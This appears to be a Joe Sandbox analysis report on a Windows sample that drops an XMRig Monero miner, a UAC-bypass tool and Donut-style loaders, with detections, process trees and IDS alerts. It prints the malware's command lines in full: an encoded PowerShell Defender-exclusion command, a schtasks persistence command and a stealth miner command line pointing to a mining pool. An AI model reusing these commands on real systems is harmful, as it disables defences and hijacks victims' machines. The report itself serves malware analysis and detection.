Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
GcqJPBLD2Q.exe

Overview

General Information

Sample name:GcqJPBLD2Q.exe
renamed because original name is a hash value
Original sample name:831c0b3184feb755997ee1ec5e474ca8.exe
Analysis ID:1528492
MD5:831c0b3184feb755997ee1ec5e474ca8
SHA1:45daae9fbc40e84523ff7bf15742f6bf7bac1462
SHA256:3deb1c82c0d030534d168b9857c7ed13815917146448e1ab6844f4a90edc2a7d
Tags:32exe
Infos:

Detection

BitCoin Miner, SilentXMRMiner, UACMe, Xmrig
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Antivirus / Scanner detection for submitted sample
Antivirus detection for dropped file
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Sigma detected: Xmrig
System process connects to network (likely due to code injection or exploit)
Yara detected BitCoin Miner
Yara detected SilentXMRMiner
Yara detected UACMe UAC Bypass tool
Yara detected Xmrig cryptocurrency miner
AI detected suspicious sample
Allocates memory in foreign processes
Creates a thread in another existing process (thread injection)
Detected Stratum mining protocol
Encrypted powershell cmdline option found
Found direct / indirect Syscall (likely to bypass EDR)
Found strings related to Crypto-Mining
Injects a PE file into a foreign processes
Injects code into the Windows Explorer (explorer.exe)
Loading BitLocker PowerShell Module
Machine Learning detection for dropped file
Machine Learning detection for sample
Modifies the context of a thread in another process (thread injection)
Query firmware table information (likely to detect VMs)
Sample is not signed and drops a device driver
Sigma detected: Invoke-Obfuscation CLIP+ Launcher
Sigma detected: Invoke-Obfuscation VAR+ Launcher
Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Uses schtasks.exe or at.exe to add and modify task schedules
Writes to foreign memory regions
Allocates memory with a write watch (potentially for evading sandboxes)
Contains functionality to call native functions
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to enumerate process and check for explorer.exe or svchost.exe (often used for thread injection)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates driver files
Detected potential crypto function
Dropped file seen in connection with other malware
Drops PE files
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
Found evasive API chain checking for process token information
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
One or more processes crash
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sigma detected: Suspicious Execution of Powershell with Base64
Sigma detected: Suspicious Schtasks From Env Var Folder
Suricata IDS alerts with low severity for network traffic
Uses 32bit PE files
Uses Microsoft's Enhanced Cryptographic Provider
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Yara signature match

Classification

Process Tree

  • System is w10x64
  • GcqJPBLD2Q.exe (PID: 5160 cmdline: "C:\Users\user\Desktop\GcqJPBLD2Q.exe" MD5: 831C0B3184FEB755997EE1EC5E474CA8)
    • powershell.exe (PID: 6684 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGsAawBlACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGkAZgB2ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGMAcgBxACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAeQBnACMAPgA=" MD5: 04029E121A0CFA5991749937DD22A1D9)
      • conhost.exe (PID: 5156 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • conhost.exe (PID: 3468 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • WmiPrvSE.exe (PID: 3468 cmdline: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding MD5: 60FF40CFD7FB8FE41EE4FE9AE5FE1C51)
    • Cool.exe (PID: 2536 cmdline: "C:\Users\user\AppData\Local\Temp\Cool.exe" MD5: DEF89B601B7DDD52A94E15DBD38EAEEF)
      • conhost.exe (PID: 4148 cmdline: "C:\Windows\System32\conhost.exe" "C:\Users\user\AppData\Local\Temp\Cool.exe" MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • cmd.exe (PID: 2620 cmdline: "cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Users\user\AppData\Local\Temp\services64.exe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
          • conhost.exe (PID: 6120 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
          • schtasks.exe (PID: 5712 cmdline: schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Users\user\AppData\Local\Temp\services64.exe" MD5: 76CD6626DD8834BD4A42E6A565104DC2)
        • cmd.exe (PID: 4864 cmdline: "cmd" cmd /c "C:\Users\user\AppData\Local\Temp\services64.exe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
          • conhost.exe (PID: 3040 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
          • services64.exe (PID: 4788 cmdline: C:\Users\user\AppData\Local\Temp\services64.exe MD5: DEF89B601B7DDD52A94E15DBD38EAEEF)
            • conhost.exe (PID: 2848 cmdline: "C:\Windows\System32\conhost.exe" "C:\Users\user\AppData\Local\Temp\services64.exe" MD5: 0D698AF330FD17BEE3BF90011D49251D)
              • sihost64.exe (PID: 4024 cmdline: "C:\Users\user\AppData\Roaming\Microsoft\Libs\sihost64.exe" MD5: 3C9FA255FE0A761E4D8535039EB86F5C)
                • conhost.exe (PID: 4832 cmdline: "C:\Windows\System32\conhost.exe" "/sihost64" MD5: 0D698AF330FD17BEE3BF90011D49251D)
                  • services64.exe (PID: 3960 cmdline: "C:\Users\user\AppData\Local\Temp\services64.exe" MD5: DEF89B601B7DDD52A94E15DBD38EAEEF)
                    • conhost.exe (PID: 6368 cmdline: "C:\Windows\System32\conhost.exe" "C:\Users\user\AppData\Local\Temp\services64.exe" MD5: 0D698AF330FD17BEE3BF90011D49251D)
                      • sihost64.exe (PID: 4052 cmdline: "C:\Users\user\AppData\Roaming\Microsoft\Libs\sihost64.exe" MD5: 3C9FA255FE0A761E4D8535039EB86F5C)
                        • conhost.exe (PID: 6012 cmdline: "C:\Windows\System32\conhost.exe" "/sihost64" MD5: 0D698AF330FD17BEE3BF90011D49251D)
                          • WerFault.exe (PID: 5424 cmdline: C:\Windows\system32\WerFault.exe -u -p 6012 -s 880 MD5: FD27D9F6D02763BDE32511B5DF7FF7A0)
              • explorer.exe (PID: 1320 cmdline: C:\Windows\explorer.exe --cinit-find-x -B --algo="rx/0" --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=pool.hashvault.pro:80 --user=426RNxSSEqcPuv4hwEHkJf7kVHFWs8bprQJpMPxDcRx6RTQxZW7rByiXU4CnMDqrHL4s7VEpMG8Qj77ygdDRvkBU3Ncd1Wx --pass= --cpu-max-threads-hint=40 --cinit-stealth-targets="+iU/trnPCTLD3p+slbva5u4EYOS6bvIPemCHGQx2WRUcnFdomWh6dhl5H5KbQCjp6yCYlsFu5LR1mi7nQAy56B+5doUwurAPvCael2sR/N4=" --cinit-stealth MD5: 662F4F92FDE3557E86D110526BB578D5)
    • DccwBypassUAC.exe (PID: 4368 cmdline: "C:\Users\user\AppData\Local\Temp\DccwBypassUAC.exe" MD5: 83588784E36FE1894F499CAF5FAD5ED8)
  • services64.exe (PID: 4876 cmdline: C:\Users\user\AppData\Local\Temp\services64.exe MD5: DEF89B601B7DDD52A94E15DBD38EAEEF)
    • conhost.exe (PID: 6036 cmdline: "C:\Windows\System32\conhost.exe" "C:\Users\user\AppData\Local\Temp\services64.exe" MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • sihost64.exe (PID: 3548 cmdline: "C:\Users\user\AppData\Roaming\Microsoft\Libs\sihost64.exe" MD5: 3C9FA255FE0A761E4D8535039EB86F5C)
        • conhost.exe (PID: 2748 cmdline: "C:\Windows\System32\conhost.exe" "/sihost64" MD5: 0D698AF330FD17BEE3BF90011D49251D)
  • svchost.exe (PID: 1364 cmdline: C:\Windows\System32\svchost.exe -k WerSvcGroup MD5: B7F884C1B74A263F746EE12A5F7C9F6A)
    • WerFault.exe (PID: 2448 cmdline: C:\Windows\system32\WerFault.exe -pss -s 432 -p 6012 -ip 6012 MD5: FD27D9F6D02763BDE32511B5DF7FF7A0)
  • svchost.exe (PID: 6612 cmdline: C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)
  • cleanup

Malware Threat Intel

Provided by

NameDescriptionAttributionBlogpost URLsLink
UACMeA toolkit maintained by hfiref0x which incorporates numerous UAC bypass techniques for Windows 7 - Windows 10. Typically, components of this tool are stripped out and reused by malicious actors.No Attributionhttps://malpedia.caad.fkie.fraunhofer.de/details/win.uacme
NameDescriptionAttributionBlogpost URLsLink
xmrigAccording to PCrisk, XMRIG is a completely legitimate open-source application that utilizes system CPUs to mine Monero cryptocurrency. Unfortunately, criminals generate revenue by infiltrating this app into systems without users' consent. This deceptive marketing method is called "bundling".In most cases, "bundling" is used to infiltrate several potentially unwanted programs (PUAs) at once. So, there is a high probability that XMRIG Virus came with a number of adware-type applications that deliver intrusive ads and gather sensitive information.No Attributionhttps://malpedia.caad.fkie.fraunhofer.de/details/win.xmrig

Malware Configuration

⊘No configs have been found

Yara Signatures

PCAP (Network Traffic)

SourceRuleDescriptionAuthorStrings
dump.pcapJoeSecurity_XmrigYara detected Xmrig cryptocurrency minerJoe Security

    Dropped Files

    SourceRuleDescriptionAuthorStrings
    C:\Users\user\AppData\Local\Temp\DccwBypassUAC.exeJoeSecurity_UACMeYara detected UACMe UAC Bypass toolJoe Security
      C:\Users\user\AppData\Local\Temp\DccwBypassUAC.exeCodoso_Gh0st_2Detects Codoso APT Gh0st MalwareFlorian Roth
      • 0x5b50:$s13: Elevation:Administrator!new:{3ad05575-8857-4850-9277-11b85bdb8e09}

      Memory Dumps

      SourceRuleDescriptionAuthorStrings
      00000012.00000002.2234389210.0000025C64110000.00000040.00000001.00020000.00000000.sdmpWindows_Trojan_Donutloader_f40e3759unknownunknown
      • 0x34a6:$x64: 06 B8 03 40 00 80 C3 4C 8B 49 10 49
      00000012.00000002.2234389210.0000025C64110000.00000040.00000001.00020000.00000000.sdmpWindows_Trojan_Donutloader_5c38878dunknownunknown
      • 0x3bfd:$a: 24 48 03 C2 48 89 44 24 28 41 8A 00 84 C0 74 14 33 D2 FF C1
      00000016.00000002.2255998341.000001D90D160000.00000040.00000001.00020000.00000000.sdmpWindows_Trojan_Donutloader_f40e3759unknownunknown
      • 0x21d2a6:$x64: 06 B8 03 40 00 80 C3 4C 8B 49 10 49
      00000016.00000002.2255998341.000001D90D160000.00000040.00000001.00020000.00000000.sdmpWindows_Trojan_Donutloader_5c38878dunknownunknown
      • 0x21d9fd:$a: 24 48 03 C2 48 89 44 24 28 41 8A 00 84 C0 74 14 33 D2 FF C1
      00000000.00000002.2146963912.0000000003551000.00000004.00000800.00020000.00000000.sdmpJoeSecurity_UACMeYara detected UACMe UAC Bypass toolJoe Security
        Click to see the 75 entries

        Unpacked PEs

        SourceRuleDescriptionAuthorStrings
        0.2.GcqJPBLD2Q.exe.35f5ad0.2.raw.unpackJoeSecurity_UACMeYara detected UACMe UAC Bypass toolJoe Security
          0.2.GcqJPBLD2Q.exe.35f5ad0.2.raw.unpackCodoso_Gh0st_2Detects Codoso APT Gh0st MalwareFlorian Roth
          • 0x5b50:$s13: Elevation:Administrator!new:{3ad05575-8857-4850-9277-11b85bdb8e09}
          • 0x19de8:$s13: Elevation:Administrator!new:{3ad05575-8857-4850-9277-11b85bdb8e09}
          5.0.DccwBypassUAC.exe.7ff6fe420000.0.unpackJoeSecurity_UACMeYara detected UACMe UAC Bypass toolJoe Security
            5.0.DccwBypassUAC.exe.7ff6fe420000.0.unpackCodoso_Gh0st_2Detects Codoso APT Gh0st MalwareFlorian Roth
            • 0x5b50:$s13: Elevation:Administrator!new:{3ad05575-8857-4850-9277-11b85bdb8e09}
            0.2.GcqJPBLD2Q.exe.35e1868.1.raw.unpackJoeSecurity_UACMeYara detected UACMe UAC Bypass toolJoe Security
              Click to see the 7 entries

              Sigma Signatures

              Bitcoin Miner

              barindex
              Sigma detected: Xmrig
              Source: Process startedAuthor: Joe Security: Data: Command: C:\Windows\explorer.exe --cinit-find-x -B --algo="rx/0" --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=pool.hashvault.pro:80 --user=426RNxSSEqcPuv4hwEHkJf7kVHFWs8bprQJpMPxDcRx6RTQxZW7rByiXU4CnMDqrHL4s7VEpMG8Qj77ygdDRvkBU3Ncd1Wx --pass= --cpu-max-threads-hint=40 --cinit-stealth-targets="+iU/trnPCTLD3p+slbva5u4EYOS6bvIPemCHGQx2WRUcnFdomWh6dhl5H5KbQCjp6yCYlsFu5LR1mi7nQAy56B+5doUwurAPvCael2sR/N4=" --cinit-stealth , CommandLine: C:\Windows\explorer.exe --cinit-find-x -B --algo="rx/0" --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=pool.hashvault.pro:80 --user=426RNxSSEqcPuv4hwEHkJf7kVHFWs8bprQJpMPxDcRx6RTQxZW7rByiXU4CnMDqrHL4s7VEpMG8Qj77ygdDRvkBU3Ncd1Wx --pass= --cpu-max-threads-hint=40 --cinit-stealth-targets="+iU/trnPCTLD3p+slbva5u4EYOS6bvIPemCHGQx2WRUcnFdomWh6dhl5H5KbQCjp6yCYlsFu5LR1mi7nQAy56B+5doUwurAPvCael2sR/N4=" --cinit-stealth , CommandLine|base64offset|contains: "+~~), Image: C:\Windows\explorer.exe, NewProcessName: C:\Windows\explorer.exe, OriginalFileName: C:\Windows\explorer.exe, ParentCommandLine: "C:\Windows\System32\conhost.exe" "C:\Users\user\AppData\Local\Temp\services64.exe", ParentImage: C:\Windows\System32\conhost.exe, ParentProcessId: 2848, ParentProcessName: conhost.exe, ProcessCommandLine: C:\Windows\explorer.exe --cinit-find-x -B --algo="rx/0" --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=pool.hashvault.pro:80 --user=426RNxSSEqcPuv4hwEHkJf7kVHFWs8bprQJpMPxDcRx6RTQxZW7rByiXU4CnMDqrHL4s7VEpMG8Qj77ygdDRvkBU3Ncd1Wx --pass= --cpu-max-threads-hint=40 --cinit-stealth-targets="+iU/trnPCTLD3p+slbva5u4EYOS6bvIPemCHGQx2WRUcnFdomWh6dhl5H5KbQCjp6yCYlsFu5LR1mi7nQAy56B+5doUwurAPvCael2sR/N4=" --cinit-stealth , ProcessId: 1320, ProcessName: explorer.exe

              System Summary

              barindex
              Sigma detected: Invoke-Obfuscation CLIP+ Launcher
              Source: Process startedAuthor: Jonathan Cheong, oscd.community: Data: Command: "cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Users\user\AppData\Local\Temp\services64.exe", CommandLine: "cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Users\user\AppData\Local\Temp\services64.exe", CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: "C:\Windows\System32\conhost.exe" "C:\Users\user\AppData\Local\Temp\Cool.exe", ParentImage: C:\Windows\System32\conhost.exe, ParentProcessId: 4148, ParentProcessName: conhost.exe, ProcessCommandLine: "cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Users\user\AppData\Local\Temp\services64.exe", ProcessId: 2620, ProcessName: cmd.exe
              Sigma detected: Invoke-Obfuscation VAR+ Launcher
              Source: Process startedAuthor: Jonathan Cheong, oscd.community: Data: Command: "cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Users\user\AppData\Local\Temp\services64.exe", CommandLine: "cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Users\user\AppData\Local\Temp\services64.exe", CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: "C:\Windows\System32\conhost.exe" "C:\Users\user\AppData\Local\Temp\Cool.exe", ParentImage: C:\Windows\System32\conhost.exe, ParentProcessId: 4148, ParentProcessName: conhost.exe, ProcessCommandLine: "cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Users\user\AppData\Local\Temp\services64.exe", ProcessId: 2620, ProcessName: cmd.exe
              Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet
              Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGsAawBlACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGkAZgB2ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGMAcgBxACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAeQBnACMAPgA=", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGsAawBlACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGkAZgB2ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGMAcgBxACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAeQBnACMAPgA=", CommandLine|base64offset|contains: Ijw, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\GcqJPBLD2Q.exe", ParentImage: C:\Users\user\Desktop\GcqJPBLD2Q.exe, ParentProcessId: 5160, ParentProcessName: GcqJPBLD2Q.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGsAawBlACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGkAZgB2ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGMAcgBxACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAeQBnACMAPgA=", ProcessId: 6684, ProcessName: powershell.exe
              Sigma detected: Suspicious Execution of Powershell with Base64
              Source: Process startedAuthor: frack113: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGsAawBlACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGkAZgB2ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGMAcgBxACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAeQBnACMAPgA=", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGsAawBlACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGkAZgB2ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGMAcgBxACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAeQBnACMAPgA=", CommandLine|base64offset|contains: Ijw, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\GcqJPBLD2Q.exe", ParentImage: C:\Users\user\Desktop\GcqJPBLD2Q.exe, ParentProcessId: 5160, ParentProcessName: GcqJPBLD2Q.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGsAawBlACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGkAZgB2ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGMAcgBxACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAeQBnACMAPgA=", ProcessId: 6684, ProcessName: powershell.exe
              Sigma detected: Suspicious Schtasks From Env Var Folder
              Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Users\user\AppData\Local\Temp\services64.exe", CommandLine: schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Users\user\AppData\Local\Temp\services64.exe", CommandLine|base64offset|contains: mj,, Image: C:\Windows\System32\schtasks.exe, NewProcessName: C:\Windows\System32\schtasks.exe, OriginalFileName: C:\Windows\System32\schtasks.exe, ParentCommandLine: "cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Users\user\AppData\Local\Temp\services64.exe", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2620, ParentProcessName: cmd.exe, ProcessCommandLine: schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Users\user\AppData\Local\Temp\services64.exe", ProcessId: 5712, ProcessName: schtasks.exe
              Sigma detected: Non Interactive PowerShell Process Spawned
              Source: Process startedAuthor: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGsAawBlACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGkAZgB2ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGMAcgBxACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAeQBnACMAPgA=", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGsAawBlACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGkAZgB2ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGMAcgBxACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAeQBnACMAPgA=", CommandLine|base64offset|contains: Ijw, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\GcqJPBLD2Q.exe", ParentImage: C:\Users\user\Desktop\GcqJPBLD2Q.exe, ParentProcessId: 5160, ParentProcessName: GcqJPBLD2Q.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGsAawBlACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGkAZgB2ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGMAcgBxACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAeQBnACMAPgA=", ProcessId: 6684, ProcessName: powershell.exe
              Sigma detected: Windows Processes Suspicious Parent Directory
              Source: Process startedAuthor: vburov: Data: Command: C:\Windows\System32\svchost.exe -k WerSvcGroup, CommandLine: C:\Windows\System32\svchost.exe -k WerSvcGroup, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k WerSvcGroup, ProcessId: 1364, ProcessName: svchost.exe

              Suricata Signatures

              TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
              2024-10-08T00:17:09.676958+020020362892Crypto Currency Mining Activity Detected192.168.2.6496171.1.1.153UDP
              TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
              2024-10-08T00:16:50.341351+020028269302Crypto Currency Mining Activity Detected192.168.2.64975945.76.89.7080TCP

              Joe Sandbox Signatures

              Click to jump to signature section

              Show All Signature Results

              AV Detection

              barindex
              Antivirus / Scanner detection for submitted sample
              Source: GcqJPBLD2Q.exeAvira: detected
              Antivirus detection for dropped file
              Source: C:\Users\user\AppData\Roaming\Microsoft\Libs\sihost64.exeAvira: detection malicious, Label: HEUR/AGEN.1344832
              Source: C:\Users\user\AppData\Local\Temp\Cool.exeAvira: detection malicious, Label: HEUR/AGEN.1344202
              Source: C:\Users\user\AppData\Local\Temp\services64.exeAvira: detection malicious, Label: HEUR/AGEN.1344202
              Multi AV Scanner detection for submitted file
              Source: GcqJPBLD2Q.exeReversingLabs: Detection: 47%
              AI detected suspicious sample
              Source: Submited SampleIntegrated Neural Analysis Model: Matched 100.0% probability
              Machine Learning detection for dropped file
              Source: C:\Users\user\AppData\Roaming\Microsoft\Libs\sihost64.exeJoe Sandbox ML: detected
              Source: C:\Users\user\AppData\Local\Temp\Cool.exeJoe Sandbox ML: detected
              Source: C:\Users\user\AppData\Local\Temp\services64.exeJoe Sandbox ML: detected
              Machine Learning detection for sample
              Source: GcqJPBLD2Q.exeJoe Sandbox ML: detected
              Source: C:\Users\user\AppData\Local\Temp\DccwBypassUAC.exeCode function: 5_2_00007FF6FE422F80 _errno,wcstol,GetCurrentProcess,OpenProcessToken,GetTokenInformation,GetLastError,LocalAlloc,GetTokenInformation,GetSidSubAuthorityCount,GetSidSubAuthority,CharLowerW,lstrlenA,CryptStringToBinaryA,CryptStringToBinaryA,#40,_invalid_parameter_noinfo_noreturn,memcpy,FindFirstFileW,_invalid_parameter_noinfo_noreturn,FindClose,ShellExecuteW,_invalid_parameter_noinfo_noreturn,memcpy,_invalid_parameter_noinfo_noreturn,memcpy,_invalid_parameter_noinfo_noreturn,LocalFree,CloseHandle,_invalid_parameter_noinfo_noreturn,Concurrency::cancel_current_task,Concurrency::cancel_current_task,Concurrency::cancel_current_task,5_2_00007FF6FE422F80

              Exploits

              barindex
              Yara detected UACMe UAC Bypass tool
              Source: Yara matchFile source: 0.2.GcqJPBLD2Q.exe.35f5ad0.2.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 5.0.DccwBypassUAC.exe.7ff6fe420000.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 0.2.GcqJPBLD2Q.exe.35e1868.1.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 0.2.GcqJPBLD2Q.exe.3609d68.3.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 0.2.GcqJPBLD2Q.exe.35e1868.1.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 5.2.DccwBypassUAC.exe.7ff6fe420000.0.unpack, type: UNPACKEDPE
